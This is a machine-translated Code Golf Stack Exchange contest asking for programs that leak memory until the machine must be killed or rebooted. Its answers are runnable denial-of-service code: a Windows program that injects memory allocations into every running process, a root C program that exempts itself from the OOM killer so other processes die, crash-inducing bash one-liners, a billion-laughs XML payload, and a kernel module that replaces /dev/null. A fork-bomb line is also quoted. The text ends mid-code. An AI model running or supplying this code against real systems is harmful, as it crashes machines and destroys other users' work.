Stwórz wyciek pamięci, bez żadnych bomb widłowych [zamknięte]

54

Twoim zadaniem jest wykrycie wycieku pamięci . Jest to program, który zużywa dużo pamięci, dopóki komputer się nie skończy i będzie musiał dokonać wymiany, aby uchronić się przed wyczerpaniem. Jedynym sposobem na zwolnienie pamięci jest zabicie programu w menedżerze zadań lub użycie zabójstwa z linii poleceń, takiego jak taskkill /im yourprogram /f(w systemie Windows), a nawet ponowne uruchomienie komputera. Samo zamknięcie aplikacji nie powinno uniemożliwiać jej dalszego przechowywania pamięci.

Zasady:

  1. Wszelkie bomby widłowe są zakazane. Oznacza to, że niesławna linia Bash:(){ :|:&};: jest zabroniona!

  2. Aplikacja musi być tylko jednowątkowa. Oznacza to zasadę bomby widelcowej.

  3. Program nie może uruchamiać innych programów. Oznacza to, że nie możesz po prostu zrobić czegoś takiego run(memoryfiller.exe). Jedynym wyjątkiem są programy dołączone do systemu operacyjnego lub języka, które nie są przeznaczone przede wszystkim do zużywania pamięci (tj. Mają inny cel). Oznacza to, że rzeczy takie jak cati ln -ssą dozwolone.

  4. Możesz zająć tyle pamięci, ile chcesz. Im więcej tym lepiej.

  5. Kod musi zostać w pełni wyjaśniony.

Powodzenia. To konkurs popularności, więc wygrywa kod z największą liczbą głosów po 10 dniach od daty zapytania!

Jerzy
źródło
8
„Zamykanie go powinno nadal powodować, że pamięć ta jest zawieszona” - jeśli program jest wykonywalny przez powłokę (podobnie jak większość wersji Windows interpretujących język skryptowy), zamknięcie okna spowoduje jego zabicie.
mniip
54
Czy to nie jest po prostu while(1)malloc(999);?
Klamka
10
Nie jestem pewien, czy „Zamknięcie go powinno sprawić, że będzie to pamięć”, jest zgodne z „Aplikacja musi być tylko jednowątkowa”. Jeśli żaden wątek nie ma fragmentu pamięci, system operacyjny może go odzyskać, prawda?
aebabis
51
Po prostu uruchom Firefoksa 26 z kilkoma kartami otwartymi Flash na pół godziny. Sprowadzi Twój komputer na kolana.
Braden Best
1
@mniip. To jest sedno wyzwania. Trudne wyzwanie. I klamka. Chciałem coś innego! ;)
George

Odpowiedzi:

78

Windows

Win32 API pozwala przydzielić pamięć w innych procesach, a następnie zdalnie odczytać / zapisać tę pamięć. Ten program ma tylko jeden wątek, którego używa do wyliczenia każdego uruchomionego procesu w systemie, a następnie kilkakrotnie przydziela 1 MB buforów w każdym procesie, dopóki alokacja nie powiedzie się. Po zakończeniu jednego procesu przechodzi do następnego. Alokacje nie są zwalniane po zakończeniu programu wywołującego - tylko wtedy, gdy / po zakończeniu każdego procesu docelowego. To zawiesza maszynę wirtualną z systemem Windows 7 o pojemności 2 GB w około 10 sekund. To wymaga uruchomienia jako administrator.

Kompilować: cl /MD leak.cpp /link psapi.lib

#include <windows.h>
#include <psapi.h>

typedef void (*ProcFunc)(DWORD pid);
#define ALLOC_SIZE 0x100000
LPVOID buf;

void ForEachProcess(ProcFunc f)
{
    DWORD aProcesses[1024], cbNeeded;

    if (!EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded))
        return;

    for (unsigned int i = 0; i < cbNeeded / sizeof(DWORD); i++)
        if (aProcesses[i] != 0)
            f(aProcesses[i]);
}

void RemoteLeak(DWORD pid)
{
    HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pid );
    if (hProcess == NULL)
        return;

    for (;;)
    {
        LPVOID ptr = VirtualAllocEx(hProcess, NULL, ALLOC_SIZE, 
                                    MEM_COMMIT, PAGE_READWRITE);
        if (ptr == NULL)
            return;

        WriteProcessMemory(hProcess, ptr, buf, ALLOC_SIZE, NULL);
    }
}

int main(void)
{
    buf = malloc(ALLOC_SIZE);
    if (buf == NULL)
        return 0;

    memset(buf, 0xFF, ALLOC_SIZE);

    ForEachProcess(RemoteLeak);

    return 0;
}
Andrew Medico
źródło
9
Windows jest zły.
Tomsmeding
4
Muszę się dziś zamknąć. Spróbuję;)
George
1
„(działa jako zwykły użytkownik, nie korzysta z uprawnień administratora” - nie jestem pewien, potrzebujesz SeDebugPrivilege, który domyślnie nie jest obecny w tokenie zwykłego użytkownika
rkosegi
@rkosegi Dzięki, naprawiono.
Andrew Medico
14
+1 To zasługuje na wiele pozytywnych opinii, ponieważ jak dotąd jest to jedyna odpowiedź, która spełnia oryginalne Zamknięcie, to wciąż powinno wymagać pamięci pamięci . Bardzo kreatywne rozwiązanie :-)
Daniel
72

Jawa

import java.util.concurrent.atomic.AtomicInteger;

public class Hydra {
  // Not actually necessary for the leak - keeps track of how many Hydras there are, so we know when they're all gone
  public static AtomicInteger count = new AtomicInteger(0);
  public Hydra() {
    count.incrementAndGet();
  }
  protected void finalize() {
    new Hydra();
    new Hydra();
    count.decrementAndGet();
  }

  public static void main(String[] args) throws InterruptedException {
    new Hydra();
    while (Hydra.count.get() > 0) {
      // Prevent leaks ;-)
      System.gc();
      System.runFinalization();
    } 
  }
}

Wyjaśnienie

Możesz założyć, że ponieważ w kodzie nie ma żadnych odnośników (poza tymi count, które możesz bezpiecznie zignorować), nie może on przeciekać. Jednak finalizator tworzy dwie nowe Hydry i chociaż nie ma w nich również odniesień, będą się zatrzymywać do czasu sfinalizowania. Oznacza to, że program wycieka pamięć tylko podczas odśmiecania pamięci - stąd wywołania do System.gc()i System.runFinalization().

James_pic
źródło
7
@TimS. Gdzie jest teraz twój Bóg?!?
Cruncher
System.gc()i System.runFinalization()konieczne? To znaczy, czy gc czasami uruchamia się losowo, czy trzeba albo wypełnić trochę pamięci, albo wywołać gc?
Cruncher
4
W typowym programie System.gc()i System.runFinalization()nie byłoby konieczne. Usuwanie śmieci odbywałoby się naturalnie z powodu presji pamięci. Jednak w tej aplikacji nie ma presji pamięci, dopóki nie rozpocznie się czyszczenie pamięci. Myślałem o sztucznym wprowadzeniu niektórych (na przykład poprzez poruszanie się new Hydra()w pętli), ale pomyślałem, że to było bardziej złe.
James_pic
1
Tak, nie przywiązywałem dużej uwagi do zastrzeżenia „Zamknięcie go powinno sprawić, że będzie to pamięć pamięci”, ponieważ nie wydawało się to znaczące (oprócz schludnych włamań do systemu operacyjnego, takich jak @ german_guy's). Java zawsze rozwija wątek finalizacji, więc być może nie ma sposobu, aby aplikacja Java przestrzegała reguły nr 2.
James_pic
1
W systemach uniksowych nie możesz zablokować SIGKILL (sygnał 9), więc nie możesz sprawić, że twój program będzie nie do zatrzymania (cóż, z wyjątkiem sytuacji, gdy uda ci się wprowadzić go w stan nieprzerwanego oczekiwania ... więc może zdalne zabicie serwera NFS, którego pliki dostęp może działać ;-))
celtschk
37

do

Używając języka programowania C i testowanego z jądrem Linux 2.6.32-49-generic i libc-2.11.1.so.

Jedynym sposobem na zwolnienie pamięci jest zabicie programu w menedżerze zadań lub użycie taskkill / im yourprogram / f lub nawet ponowne uruchomienie komputera.

Osiąga się to poprzez blokowanie wszelkich sygnałów oprócz SIGKILL i SIGSTOP.

Zamknięcie go powinno nadal sprawić, że pamięć będzie świnią.

To mnie faktycznie pomyliło ... Zarówno zabicie, jak i zamknięcie obu powoduje zakończenie procesu, pozwalając systemowi operacyjnemu odzyskać pamięć przydzieloną przez proces. Ale potem pomyślałem, że zamykając go, możesz chcieć zamknąć terminal lub inny proces nadrzędny, który wykonuje proces wycieku pamięci. Jeśli dobrze to zrozumiałem, rozwiązałem ten problem, blokując wszelkie sygnały, które zamieniają proces w demona po zakończeniu procesu nadrzędnego. W ten sposób możesz zamknąć terminal, w którym działa proces, który będzie kontynuował działanie i przejdzie do wycieku pamięci.

Wszelkie bomby widłowe są zakazane. Oznacza to, że niesławny bash: () {: |: &} ;: jest zbanowany!

Proces nie rozwidla się.

Aplikacja musi być tylko jednowątkowa. To implikuje zasadę bomby widelcowej

Nie pojawiają się nowe wątki.

Program nie może uruchamiać innego programu. Oznacza to, że nie można po prostu zrobić czegoś takiego jak uruchom (memoryfiller.exe)

Nie pojawiają się nowe procesy.

Możesz zająć tyle pamięci, ile chcesz. Im więcej tym lepiej.

Tyle, ile może zapewnić system operacyjny.

Kod musi zostać w pełni wyjaśniony.

Dodano komentarze do źródła.

I w końcu oto kod:

#define _GNU_SOURCE

#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>


int main(int argc, char* argv[]) {

    /*
    set the real, effective and set user id to root,
    so that the process can adjust possible limits.
    if the process doesn't have the CAP_SETUID capability, terminate the process.
    */
    if (setresuid(0, 0, 0) == -1) {
        printf("Are you root?!\n");
        return 1;
    }

    /*
    block all signals except for kill and stop.
    this allows to terminate the parent process (most likely a terminal)
    that this process is running in and turn it into a daemon.
    additionally this makes it impossible to terminate the process
    in a normal way and therefore satisfies the requirement that closing
    it should still make it hog memory.
    */
    sigset_t mask;
    sigfillset(&mask);
    sigprocmask(SIG_SETMASK, &mask, NULL);

    /*
    allow the process to acquire a virtually unlimited amount of memory
    and queue a virtually unlimited amount of signals.
    this is to prevent an out of memory error due to a virtual limit for the root user,
    which would prevent the process from leaking any more memory
    and to prevent the process from getting killed due to too many queued
    signals that the process is blocking.
    */
    struct rlimit memory = { RLIM_INFINITY, RLIM_INFINITY },
                  signal = { RLIM_INFINITY, RLIM_INFINITY};
    setrlimit(RLIMIT_AS, &memory);
    setrlimit(RLIMIT_SIGPENDING, &signal);

    /*
    allocate a buffer big enough to store a file name into it
    that is generated from the process' pid.
    if the file can be opened (which should always be the case unless /proc is not mounted)
    the file will be opened and the string -17 followed by a new line written to it.
    this will cause the oom killer to ignore our process and only kill other,
    innocent processes when running out of memory.
    */
    char file_name[20];
    sprintf(file_name, "/proc/%u/oom_adj", getpid());

    FILE* oom_killer_file = fopen(file_name, "w");
    if (oom_killer_file) {
        fprintf(oom_killer_file, "-17\n");
        fclose(oom_killer_file);
    }

    /*
    get the size of virtual memory pages in bytes,
    so the process knows the size of chunks that have to be
    made dirty to force the kernel to map the virtual memory page into RAM.
    */
    long page_size = sysconf(_SC_PAGESIZE);

    // allocate a virtually infinite amount of memory by chunks of a page size.
    while(1) {
        // will overwrite any previous stored address in tmp, leaking that memory.
        char* tmp = (char*) malloc(page_size);
        if (tmp)
            // make the memory page dirty to force the kernel to map it into RAM.
            tmp[0] = 0;
    }

    return 0;
}

Dla każdego, kto jest zainteresowany tym, co się stanie, jeśli ten program będzie nadal działał: Na moim systemie testowym z 2 GB pamięci RAM i 4 GB miejsca wymiany zajęło około 10 minut, aby wypełnić pamięć RAM i wymienić. Zabójca OOM rozpoczął pracę, a trzy minuty później wszystkie procesy zostały zabite. System upuścił nawet mysz, klawiaturę i wyświetlacz. /var/log/kern.log nie pokazuje żadnych użytecznych informacji, z wyjątkiem procesów, które zostały zabite.

foobar
źródło
Zredagowałem źródło, aby zabójca oom zignorował ten proces i zamiast tego zabił niewinne procesy, by zwolnić pamięć.
foobar
5
Dla każdego, kto jest zainteresowany tym, co się stanie, jeśli ten program będzie nadal działał: Na moim systemie testowym z 2 GB pamięci RAM i 4 GB miejsca wymiany zajęło około 10 minut, aby wypełnić pamięć RAM i wymienić. Zabójca OOM rozpoczął pracę, a trzy minuty później wszystkie procesy zostały zabite. System upuścił nawet mysz, klawiaturę i wyświetlacz. /var/log/kern.log nie pokazuje żadnych użytecznych informacji, z wyjątkiem procesów, które zostały zabite.
foobar
Haha, to wspaniale! Powinieneś edytować ten opis w swojej odpowiedzi. +1
Klamka
1
Nie przegłosowałem, ale byłoby miło, gdyby kod mógł zostać sformatowany, więc nie trzeba przewijać w poziomie, aby przeczytać komentarze.
Paŭlo Ebermann
2
+1 za 1) powodując, że procesy przenoszące urządzenia wejściowe / wyjściowe zostaną zabite, oraz 2) tworząc program, który jest trudny do śledzenia z dzienników. To poziomy zła kręcące wąsy.
Kevin - Przywróć Monikę
29

Pure Bash

Nie widelec-bomba, obiecuję:

:(){ : $@$@;};: :

Wygląda bardzo podobnie do bomby widelcowej i wykorzystuje podobną technikę rekurencyjną, ale bez widelców. Oczywiście spowoduje to wyczerpanie powłoki z pamięci, dlatego zaleca się uruchomienie nowej powłoki przed wklejeniem tego polecenia.

  • Zdefiniuj funkcję o nazwie :
  • Funkcja po prostu rekurencyjnie wywołuje się z $@podwójną (lista arg)
  • Po definicji :funkcji wywoływana jest z początkowym arg:

Wynik:

$ bash
$ :(){ : $1$1;};: :
bash: xmalloc: ../bash/stringlib.c:135: cannot allocate 536870913 bytes (5368795136 bytes allocated)
$

W poprzedniej edycji tej odpowiedzi zrobiłem to a=$(yes), ale zauważyłem zasadę „Program nie może uruchamiać innego programu”, więc bashzamiast tego muszę używać czystego, bez wywoływania coreutils lub czegokolwiek innego.


Oto kolejny:

PROSZĘ NIE URUCHAMIAĆ TEGO NA MASZYNIE PRODUKCYJNEJ

:(){ : <(:);};:

Ponownie, to nie jest bomba widelca - wszystko jest uruchamiane z jednego wątku. Wydaje się, że całkiem nieźle sprowadza moją maszynę wirtualną Ubuntu na kolana, pozostawiając niewiele miejsca na odzyskanie, poza restartem.

Podobnie jak w przypadku klasycznej bomby widełkowej, :()zdefiniowano funkcję rekurencyjną . Jednak nie rozdziela połączeń do siebie. Zamiast tego wywołuje się z jednym argumentem, który sam jest wywoływany w procesie podstawiania . Ponieważ podstawianie procesów działa poprzez otwarcie deskryptora pliku /dev/fd/n, to nie tylko zjada pamięć procesu (bash), ale także zużyje trochę pamięci jądra. Na moim komputerze Ubuntu powoduje to, że menedżer okien przestaje działać po kilku sekundach, a następnie wkrótce po wyświetleniu tego ekranu:

wprowadź opis zdjęcia tutaj

Kliknięcie OKpowoduje wyświetlenie tego ekranu:

wprowadź opis zdjęcia tutaj

Żadna z tych opcji nie wydaje się zbyt pomocna - w tym momencie ponowne uruchomienie wydaje się jedyną dobrą opcją.

Cyfrowa trauma
źródło
3
$ which yes->/usr/bin/yes
Izkata
2
„Jedynym sposobem na zwolnienie pamięci jest zabicie programu w menedżerze zadań lub użycie taskkill / im yourprogram / f lub nawet ponowne uruchomienie komputera. Zamknięcie go powinno nadal powodować, że pamięć jest zapchana”. >> Bash można zakończyć za pomocą SIGTERM, więc zabicie go nie jest wymagane, aby przestało działać. Również przestaje działać, gdy w systemie zabraknie pamięci. Po zakończeniu bashu przez SIGTERM lub przez brak pamięci, pamięć jest zwracana do systemu operacyjnego.
foobar
To nie działa dla mnie ... tak jakby ... Widzę, że pamięć stopniowo zanika, ale dzieje się to bardzo powoli, a także można ją zabić, naciskając ctrl + c. Działa teraz przez 1 minutę i zajmuje około 1 GB. Mam BARDZO szybką maszynę ... ale to nie powinno mieć znaczenia, prawda?
Stefanos Kalantzis,
W odpowiedzi na mój komentarz: Komenda faktycznie zabiła bash po około 2 minutach 49 sekund. Pierwotnie zakładałem, że na podstawie tej odpowiedzi nastąpi natychmiast.
Stefanos Kalantzis,
@StefanosKalantzis Dzięki za komentarze. Zmusiło mnie to do zastanowienia się i właśnie znalazłem jeszcze bardziej zły fragment powłoki - patrz edycja.
Digital Trauma,
24

XML

<!DOCTYPE boom [
<!ENTITY Z 'ka-boom!'><!ENTITY Y '&Z;&Z;'><!ENTITY X '&Y;&Y;'><!ENTITY W '&X;&X;'>
<!ENTITY V '&W;&W;'><!ENTITY U '&V;&V;'><!ENTITY T '&U;&U;'><!ENTITY S '&T;&T;'>
<!ENTITY R '&S;&S;'><!ENTITY Q '&R;&R;'><!ENTITY P '&Q;&Q;'><!ENTITY O '&P;&P;'>
<!ENTITY N '&O;&O;'><!ENTITY M '&N;&N;'><!ENTITY L '&M;&M;'><!ENTITY K '&L;&L;'>
<!ENTITY J '&K;&K;'><!ENTITY I '&J;&J;'><!ENTITY H '&I;&I;'><!ENTITY G '&H;&H;'>
<!ENTITY F '&G;&G;'><!ENTITY E '&F;&F;'><!ENTITY D '&E;&E;'><!ENTITY C '&D;&D;'>
<!ENTITY B '&C;&C;'><!ENTITY A '&B;&B;'><!ENTITY z '&A;&A;'><!ENTITY y '&z;&z;'>
<!ENTITY x '&y;&y;'><!ENTITY w '&x;&x;'><!ENTITY v '&w;&w;'><!ENTITY u '&v;&v;'>
<!ENTITY t '&u;&u;'><!ENTITY s '&t;&t;'><!ENTITY r '&s;&s;'><!ENTITY q '&r;&r;'>
<!ENTITY p '&q;&q;'><!ENTITY o '&p;&p;'><!ENTITY n '&o;&o;'><!ENTITY m '&n;&n;'>
<!ENTITY l '&m;&m;'><!ENTITY k '&l;&l;'><!ENTITY j '&k;&k;'><!ENTITY i '&j;&j;'>
<!ENTITY h '&i;&i;'><!ENTITY g '&h;&h;'><!ENTITY f '&g;&g;'><!ENTITY e '&f;&f;'>
<!ENTITY d '&e;&e;'><!ENTITY c '&d;&d;'><!ENTITY b '&c;&c;'><!ENTITY a '&b;&b;'>
]>
<boom a="&a;"/>

Następnie przekaż dokument do analizatora składni XML, który nie wykrywa pętli / rekurencji odniesień do encji. Na przykład xpathdołączony do perla:

xpath boom.xml /

Jak to działa:

  1. Analizator składni napotkał <boom a="&a;">
  2. Analizator składni zostanie rozwinięty "&a;"do"&b;&b;"
  3. Parser rozszerza się na "&b;"wbudowany we "&c;&c;"(na powrót, że rozszerzenie drugiej "&b;")
  4. Analizator składni rozwija jeden z "&c;"etc ...

Gdyby nastąpiło pełne rozwinięcie, nastąpiłoby rozwinięcie 2 ^ 52 „ka-boom!”. Zakładając 2 bajty na znak, spróbuje użyć 64 PiB. Rozszerzenie brzmi „ka-boom!” na raz, więc zwykle możesz zobaczyć, jak zużywa całą pamięć u góry.

To pod różnymi nazwami, dobry przegląd tutaj: http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion

ɲeuroburɳ
źródło
3
Zasadniczo kopia śmiechu Billion
Cole Johnson
@ColeJohnson Tak, to wszystko! Włączyłem się w projekt klasyfikacji zagrożeń WASC, więc czułem się zobowiązany do wskazania WASC zamiast Wikipedii. :)
ɲeuroburɳ
22

C ++

int main()
{
    for(;;)int *a=new int;
}

Ten kod był nieoczekiwany! Zawiesił mój komputer, gdy menedżer zadań był otwarty i pokazał, że zabrał 890 Mb pamięci w ciągu 1 sekundy, a następnie zawiesił się. Nie wiem, jak to działa, może ciągle przekazuje pamięć do zmiennej. Aby zbadać więcej tego kodu, dodałem instrukcję delete a;i wszystko było w porządku podczas testowania (bez zawieszania się) Więc myślę, że fragment pamięci jest podane (z powodu new int), a następnie cofnięte (z powodu delete a) do wolnego miejsca w nowym kodzie poniżej.

int main()
{
    for(;;)
    {
         int *a=new int;
         delete a;
    }
}  

Stwierdzam więc, że ŻADNA RAMKA W TYM ŚWIECIE NIE MOŻE OBEJMOWAĆ TEGO KODU !!!

EDYCJA : Ale wiele procesorów może np. intel core 2 duoNie obsługiwać tego kodu, ale
intel core i-seriesmoże (działało dla mnie ...)

Pamiętaj, że odpowiedź na pytanie to pierwszy kod, drugi służy wyjaśnieniu.

Mukul Kumar
źródło
9
Fajnie, kompilator myśli, że nadal będziesz używać, new intnawet jeśli nadpisałeś wskaźnik, więc nigdy nie będziesz mógł uzyskać do niego dostępu ponownie ... Więc nie jest wywoływane zbieranie śmieci i zapełniasz pamięć szybciej niż gruby dzieciak zjada kręgle
David Wilkins
37
@DavidWilkins: ... to jest C ++, C ++ nie ma śmietnika.
Phoshi
32
Jeśli nieoczekiwane jest wyciek tego kodu, myślę, że nie powinieneś używać C ++, dopóki nie nauczysz się go lepiej.
svick
1
@svick Ale to też nie jest uderzenie w rzutki w ciemności! Wpadłem na pomysł, że spełni to pytanie, jakie chce pytanie o pracę.
Mukul Kumar
15
@svick Jak do diabła ma „nauczyć się lepiej”, jeśli „nie powinien używać C ++”?
Kevin
16

BrainFuck

+[>+]

Wyjaśnienie:

Aby wejść do pętli, zwiększa komórkę do 1. Przesuwa się do następnej komórki, zwiększając ją do 1, o ile ostatnia komórka była dodatnia.

Zwykle interpreter BrainFuck ma wadę polegającą na twardym ograniczeniu liczby komórek na taśmie, ale niektóre interpretery dodają komórki dynamicznie. Będą one nadal zużywać pamięć, dopóki nie będzie więcej do zużywania.

beefjest jednym z takich interpreterów i jest dostępny w Centrum Oprogramowania Ubuntu, a moje bieżące uruchamianie na nieużywanym komputerze rozpoczęło się 29 godzin temu i zużyło w tym czasie 1 GB pamięci RAM. Oto wynik działaniatop

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1030m 984m 2536 R 100,1 12,4   1750:52 beef

Ma 4 GB pamięci podręcznej i 6 GB wymiany, więc chyba zaktualizuję tę odpowiedź o to, jak poszło za 12 dni.

AKTUALIZACJA 03.24 17:11

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1868m 1,8g 2456 R  99,9 22,9   6008:18 beef    

AKTUALIZACJA 03.31 00:20

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 2924m 2,8g 2052 R 100,0 36,1  15019:46 beef   

To działa od 10 dni. Wygląda na to, że będzie działał jeszcze co najmniej 10, zanim wydarzy się coś interesującego.

Sylwester
źródło
Miło i krótko.
nrubin29
15

C i POSIX

Tutaj dążę do wysoce przenośnego rozwiązania. Problem polega na tym, że czyste C nie wydaje się mieć sposobu, aby powiedzieć systemowi operacyjnemu, że pamięć powinna pozostać przydzielona po zamknięciu programu. Dlatego pozwalam sobie na korzystanie z POSIX; większość systemów operacyjnych ma pewne zastrzeżenia do zgodności z POSIX, w tym Windows, Linux i MacOS X. Jednak przetestowałem to tylko na Ubuntu 12.04 32bit. Nie wymaga uprawnień administratora.

To rozwiązanie jest zasadniczo while(1){malloc(1);}rozwiązaniem tradycyjnym . Jednak zamiast malloc korzysta z funkcji pamięci współdzielonej POSIX. Ponieważ przypisuje identyfikator pamięci współdzielonej do każdego przydziału, dostęp do pamięci jest nadal możliwy po zakończeniu procesu. Dlatego jądro nie może zwolnić pamięci.

#include <sys/types.h>
#include <sys/shm.h>
#include <string.h>

#define SHMSZ (2*1024*1024) /*Ubuntu rejects shared allocations larger than about 2MiB*/

main() {
  int shmid;
  key_t key = 0xF111; /* Lets use `Fill' as our first ID.*/
  char *shm;

  while(1) { /* Like malloc, but using shared memory */
    if ((shmid = shmget(key, SHMSZ, IPC_CREAT|0666)) < 0){return 1;}/*Get shared memory*/
    if ((shm = shmat(shmid, NULL, 0)) == (void *) -1) { return 1; } /*Attach it        */
    memset(shm,0,SHMSZ);                                            /*Fill it up       */
    key++                                                           /*On to the next ID*/
  }
}
gmatht
źródło
Najlepsza i najbardziej błyskotliwa odpowiedź C IMO. +1
syb0rg
1
Niezłe. Pierwsze rozwiązanie, które wymyśliłem, to Andrew Medico, ale ponieważ nie jest to możliwe w Linuksie i ponieważ nie lubię programowania w systemie Windows, chciałem przeciekać przez pamięć współdzieloną, ale nie pamiętałem nazw funkcji POSIX. Dzięki, że mnie o nich pamiętasz;) Znalazłem tylko mmapy, które nie są mapowane po zakończeniu procesu ...
foobar
14

DO#

Zapomnienie o anulowaniu subskrypcji zdarzeń, zanim program obsługi wyjdzie poza zasięg spowoduje, że .NET wyciek pamięci, dopóki nie zgłosi wyjątku OutOfMemoryException.

using System;

class A
{
    public event Action Event;
}

class B
{
    public void Handler() { }
}

class Program
{
    static void Main()
    {
        A a = new A();

        while( true )
            a.Event += new B().Handler;
    }
}

Objaśnienie : Wewnątrz whilepętli konstruujemy nowy obiekt, powodując, że struktura przydziela więcej pamięci, ale również zapobiegamy Bzwolnieniu nowej instancji , gdy wykracza ona poza zakres, poprzez przypisanie metody instancji do zdarzenia w innej klasie, w wyniku tego nowa instancja Bnie jest dostępna dla naszego kodu, ale referencja nadal istnieje, co oznacza, że ​​GC nie wyda go, dopóki arównież nie wyjdzie poza zakres.

Zdarzenia statyczne mają tę samą pułapkę, ponieważ nigdy nie wykraczają poza zakres, są czyszczone tylko po zakończeniu procesu, chyba że najpierw anulujesz subskrypcję zdarzenia. Zawsze przechowuj swoje referencje, ludzie!

using System;

class Program
{
    static event Action Event;

    static void Main()
    {
        while( true )
            Event += new Action( delegate{ } );
    }
}

Powyższe działa na tym samym pomyśle, program obsługi staje się nieosiągalny, gdy whilepętla wykracza poza zakres, uniemożliwiając wypisanie się ze zdarzenia, co oznacza, że ​​pamięć pozostanie tam, dopóki program się nie zakończy. Zdarzenia statyczne są prawdopodobnie bardziej niebezpieczne niż zdarzenia instancji, ponieważ możesz zagwarantować, że nigdy nie wykroczą poza zakres.

EDYCJA : Możesz również zrobić to samo z praktycznie każdym innym obiektem, pod warunkiem, że dodasz referencję, jednocześnie zapewniając, że nie ma możliwości jej uwolnienia.

Oto przykład, który wykorzystuje obiekty statyczne i tablice.

using System;
using System.Collections.Generic;

static class Leak
{
    private static List<decimal[]> Junk;

    static Leak()
    {
        Junk = new List<decimal[]>();
    }

    public static void Add( uint size )
    {
        decimal[] arr = new decimal[size];
        Junk.Add( arr );
    }
}

class Program
{
    static void Main()
    {
        while( true )
            Leak.Add( 1 );
    }
}

Tablice są ciągle dodawane do listy, ale nie ma możliwości wyczyszczenia listy bez modyfikacji kodu, co byłoby niemożliwe w przypadku aplikacji o zamkniętym źródle. Zwiększenie liczby przekazywanych Leak.Addspowoduje szybsze wycieki, jeśli ustawisz go wystarczająco wysoko, spowoduje to natychmiastowe zgłoszenie wyjątku OverflowException.

Tony Ellis
źródło
10

bash (bez zewnętrznych narzędzi)

Nie ma tu widelca.

Ostrzeżenie: może zabić twoją powłokę.

Po prostu próbuję utworzyć tablicę liczb całkowitych dla odniesienia, ponieważ ciągle zapominam, jak wyglądają liczby całkowite.

while :; do _+=( $((++__)) ); done

Prowadzi do:

xmalloc: expr.c:264: cannot allocate 88 bytes (268384240 bytes allocated)
diabelnie
źródło
2
+1 za „ponieważ ciągle zapominam, jak wyglądają liczby całkowite” :)
David Conrad
8

J (7)

OSTRZEŻENIE: To zamroziło mój system, gdy go wypróbowałem (Windows 8, J 8.01, w terminalu qt).

2#^:_[_
  • 2# podwaja długość argumentu poprzez duplikowanie każdego elementu,
  • ^:_ znajduje punkt stały danej funkcji (ale nie ma takiej, więc zapętla się w nieskończoność),
  • [_nazywa to _argumentem.
marinus
źródło
8

Haskell (numer Grahama)

To bardzo proste: oblicza liczbę Grahama

W przeciwieństwie do innych przykładów, nie będzie działać wiecznie ... zużyje dużo procesora, ale teoretycznie może się skończyć. gdyby nie fakt, że do przechowywania numeru ...

obserwowalny wszechświat jest zdecydowanie zbyt mały, aby zawierać zwykłą cyfrową reprezentację liczby Grahama, przy założeniu, że każda cyfra zajmuje jedną objętość Plancka .

(według wikipedii)

import Data.Sequence
import Data.Foldable

(↑) a 1 b = a ^ b
(↑) a _ 0 = 1
(↑) a i b = a ↑ (i-1) $ a ↑ i $ b-1

graham = last $ toList $ iterateN 64 (\i -> 3 ↑ i $ 3) 4
main = print graham

Chodzi więc o to, że pamięć będzie wykorzystywana przez (szereg coraz bardziej) ogromnych Integerrozmiarów (liczby całkowite Haskella mają dowolną wielkość).

Jeśli chcesz to przetestować, być może będziesz musiał zwiększyć rozmiar stosu lub załadować go do środka ghci.

berdario
źródło
2
Głupi wszechświat, niezgodny ze standardem Haskell dla liczb całkowitych. Dlaczego nie obsługuje dowolnego rozmiaru?
PyRulez
6

Inspirowany przez @comintern.

Zastępowanie / dev / null. Włączanie trybu podstępnego. Wymaga nagłówków jądra, trybu superużytkownika i działającego kompilatora.

# make
# rm /dev/null
# insmod devnull.ko
# chmod go+rw /dev/null

Baw się dobrze.

Makefile:

MODULE := devnull
KVERS  ?= $(shell uname -r)
KDIR   ?= /lib/modules/$(KVERS)/build
KMAKE := make -C $(KDIR) M=$(PWD)

obj-m += $(MODULE).o

all:
    $(KMAKE) modules

install:
    $(KMAKE) modules_install

clean:
    $(KMAKE) clean

Kod źródłowy:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/ioport.h>
#include <linux/device.h>
#include <linux/version.h>
#include <linux/slab.h>
#include <asm/io.h>
#include <asm/uaccess.h>

#define DEVICE_NAME "null"
#define MAJOR_NUMBER 0

MODULE_LICENSE("GPL");
MODULE_AUTHOR("nola <[email protected]>");
MODULE_DESCRIPTION("/dev/null - memory leak style");
MODULE_VERSION("0.1");
MODULE_SUPPORTED_DEVICE("null");

static struct class *class_null;
static int major = 0;

static int device_open(struct inode *, struct file *);
static int device_release(struct inode *, struct file *);
static ssize_t device_read(struct file *, char *, size_t, loff_t *);
static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
static loff_t device_llseek(struct file *, loff_t, int);

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .llseek = &device_llseek,
    .read = &device_read,
    .write = &device_write,
    .open = &device_open,
    .release = &device_release
};

static int __init mod_init(void)
{
    struct device *dev_null;

    if ((major = register_chrdev(MAJOR_NUMBER, DEVICE_NAME, &fops)) < 0) {
        return major;
    }

    /* create /dev/null
     * We use udev to make the file.
     */
    class_null = class_create(THIS_MODULE, DEVICE_NAME);
    if (IS_ERR(class_null)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 27)
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             NULL, "%s", DEVICE_NAME
        );
#else
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             "%s", DEVICE_NAME
        );
#endif
    if (IS_ERR(dev_null)) {
        class_destroy(class_null);
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

    return 0;
}

static void __exit mod_exit(void)
{
    device_destroy(class_null, MKDEV(major, 0));
    class_unregister(class_null);
    class_destroy(class_null);
    unregister_chrdev(major, DEVICE_NAME);
}

static int device_open(struct inode *inode, struct file *file)
{
    file->f_pos = 0x00;

    try_module_get(THIS_MODULE);
    return 0;
}

